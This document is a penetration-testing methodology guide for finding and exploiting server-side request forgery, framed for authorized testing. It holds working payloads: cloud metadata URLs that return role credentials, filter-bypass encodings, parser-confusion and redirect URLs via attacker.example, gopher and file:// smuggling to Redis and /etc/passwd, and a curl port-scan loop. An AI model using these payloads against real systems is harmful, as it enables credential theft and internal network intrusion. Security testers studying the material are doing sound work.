SSRF matters because of what the server can reach that you cannot: the cloud metadata endpoint holding role credentials, internal services with no authentication, and the container network. The vulnerability is trivial; the work is in the bypasses and in knowing which internal target converts a curiosity into a compromise.
Only against systems you are authorized to test.
When to Use
- Any feature that fetches a URL: webhooks, imports, avatar-from-URL, link
previews, PDF/screenshot generation, XML/SVG processing, file fetch by URI
- A parameter contains a URL, hostname, IP, or a path that becomes one
- Source review finds an outbound HTTP call with a user-influenced target
- Testing an integration that "calls back" to a customer-supplied endpoint
When NOT to Use
- Client-side request forgery (CSRF) — different vulnerability entirely
- The wider web methodology — use
testing-web-applications - Source review as the main task — use
auditing-code-for-vulnerabilities - Post-exploitation once you hold cloud credentials — use
- Actually pivoting into internal systems beyond agreed scope — SSRF
reaches further than most scopes intend; confirm before you traverse
Find It First
# Parameters that are, or become, URLs
rg -n 'url|uri|src|href|path|dest|redirect|next|feed|host|domain|callback|webhook|target|image|file|proxy' --type-add 'req:*.txt' -i
# Source review: outbound calls with an influenced target
rg -n 'requests\.get|urllib|httpx|HttpClient|fetch\(|curl_exec|file_get_contents|WebClient|RestTemplate|http\.Get' -A3Every SSRF test starts with an out-of-band listener, because most SSRF is blind:
# Burp Collaborator, interact.sh, or your own DNS+HTTP logger
interactsh-client -v
# Submit http://<unique>.oast.example/ and watch for DNS and HTTP hitsDNS resolution alone is a positive signal. A DNS lookup with no HTTP request usually means the server resolved the host and then blocked the connection — the SSRF exists and a filter is in the way, which tells you to move to bypasses rather than abandon the parameter.
Cloud Metadata: The High-Value Target
# Expect IMDSv2 on any modern target. Since mid-2024 newly released EC2
# instance types are IMDSv2-only, and accounts can set IMDSv2-by-default for
# all new launches. A failed v1 GET therefore means "v1 is off", NOT "the host
# is not reachable" and NOT "no SSRF" — escalate to the v2 flow below before
# concluding anything.
# AWS IMDSv1 — a single GET, no headers (legacy instances only)
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
# → AccessKeyId, SecretAccessKey, Token
# AWS IMDSv2 — requires a PUT to get a token first, then a header on the GET.
# This is why IMDSv2 blocks most SSRF: a simple URL-fetch primitive cannot set
# a custom header or issue a PUT. If the SSRF proxies your full request
# (method and headers), IMDSv2 is still reachable.
PUT http://169.254.169.254/latest/api/token
X-aws-ec2-metadata-token-ttl-seconds: 21600
GET http://169.254.169.254/latest/meta-data/...
X-aws-ec2-metadata-token: <token>
# Azure — requires a header, similar reasoning
http://169.254.169.254/metadata/instance?api-version=2021-02-01
Metadata: true
# GCP — requires a header
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
Metadata-Flavor: Google
# Kubernetes — the service account token is on disk, not over HTTP, but the
# API server and kubelet are reachable
https://kubernetes.default.svc/api/v1/namespaces/default/secrets
http://<node-ip>:10250/podsCredentials recovered here go to exploiting-cloud-platforms. Report the finding at the severity of what the role can do, not "an internal URL was fetched."
Also worth reaching: http://localhost:<port> for admin interfaces bound to loopback, Redis and Memcached (unauthenticated by default and reachable via gopher:// if the client supports it), Elasticsearch on 9200, Docker's socket via http://localhost:2375/containers/json, and internal CI/CD dashboards.
Filter Bypasses
Work through these in order; the first three defeat most naive filters.
Alternate IP encodings for 169.254.169.254
2852039166 decimal
0251.0376.0251.0376 octal
0xA9FEA9FE hex
①⑥⑨.②⑤④… unicode digits (some parsers normalize)
Alternate localhost
127.0.0.1 127.1 127.000.000.1 0.0.0.0 0 [::1] [::ffff:127.0.0.1]
localtest.me spoofed.burpcollaborator.net (public DNS → 127.0.0.1)
DNS pointing where you want
Register a name whose A record is 169.254.169.254 or an internal IP
URL parser confusion — the fetcher and the validator disagree
http://expected.com@169.254.169.254/
http://169.254.169.254#expected.com/
http://expected.com.attacker.example/
http://attacker.example\@expected.com/
http://[::]:80/
Case, trailing dots, double slashes, and %2e%2e%2f in the path
Redirect chains — validator checks the first URL, fetcher follows the 302
https://attacker.example/redirect → 302 → http://169.254.169.254/...
Protocol smuggling, when the client supports it
file:///etc/passwd
gopher://127.0.0.1:6379/_SET%20key%20value (Redis via raw TCP)
dict://127.0.0.1:11211/statDNS rebinding defeats validators that resolve, check, then let the HTTP client resolve again: return a public IP on the first lookup and an internal one on the second. This is the bypass for "we resolve and check the IP" — the only robust defence is to resolve once and connect to that address.
Redirects are the most common miss. Test them explicitly: a validator that approves the initial URL and an HTTP client with follow_redirects=True is a complete bypass, and it is the default configuration of most HTTP libraries.
Blind SSRF
When you get no response body:
- Out-of-band confirmation — DNS and HTTP hits prove the request happened.
- Timing — an internal IP with a service responds fast; a filtered one
hangs until timeout. That difference is a port scanner.
- Error differentials — "invalid image" vs "connection refused" vs a
timeout distinguishes open ports, closed ports, and filtering.
- Second-order effects — a rendered PDF or thumbnail may contain the
fetched content even when the HTTP response does not.
# Internal port scan by timing, one target at a time
for p in 22 80 443 3306 5432 6379 8080 9200 10250; do
s=$(date +%s%N)
curl -s -o /dev/null "https://target/fetch?url=http://127.0.0.1:$p/"
echo "$p $(( ($(date +%s%N)-s)/1000000 ))ms"
doneRenderers deserve their own attention: an HTML-to-PDF or screenshot service runs a full browser server-side, so an <iframe src="http://169.254.169.254/..."> or a <script>fetch(...)</script> in the submitted HTML gives you SSRF with a readable response rendered into the output document.
Rationalizations to Reject
- "It only accepts https:// URLs on our allowlist." Test redirects, DNS
rebinding, and parser confusion before believing an allowlist.
- "No response is returned, so it's not exploitable." Blind SSRF reaching
IMDSv1 still steals credentials, and renderers return content indirectly.
- "We're on IMDSv2, so SSRF is mitigated." Only against simple URL fetchers.
A request-proxying SSRF still reaches it, and IMDSv2 does nothing for the rest of the internal network.
- "It's just an internal IP, low severity." Severity is what the internal
target does. Enumerate before scoring.
- "We block 169.254.169.254." Try the encodings, a DNS record pointing there,
and the IPv6 and link-local variants.
- "The library validates the URL." The library validates, then re-resolves.
That is the rebinding gap.
- "I'll map the whole internal network to show impact." Confirm reachability,
then stop and check scope. SSRF traverses further than most engagements authorize.
ATT&CK Coverage
Generated from secskills-core/ttp-index.json — edit that file, then run python3 scripts/sync_attack.py --write. Re-verify IDs against the current ATT&CK release before citing them in a report.
Initial Access (TA0001)
- T1190 Exploit Public-Facing Application — see also
testing-web-applications,testing-apis,enumerating-network-services,attacking-graphql,attacking-grpc-protobuf,exploiting-deserialization,exploiting-xxe
Credential Access (TA0006)
- T1552.005 Cloud Instance Metadata API — see also
exploiting-cloud-platforms,attacking-eks-gke-aks
Detection content for any of these: engineering-detections. Proactive search: hunting-threats. Post-compromise: responding-to-incidents.
References
testing-web-applications— the surrounding methodologyexploiting-cloud-platforms— what to do with recovered role credentialsauditing-code-for-vulnerabilities— finding the outbound call in sourcetesting-apis,attacking-graphql— SSRF reached through API parameters- Burp Collaborator, interact.sh, SSRFmap, gopherus,
nslookup/dig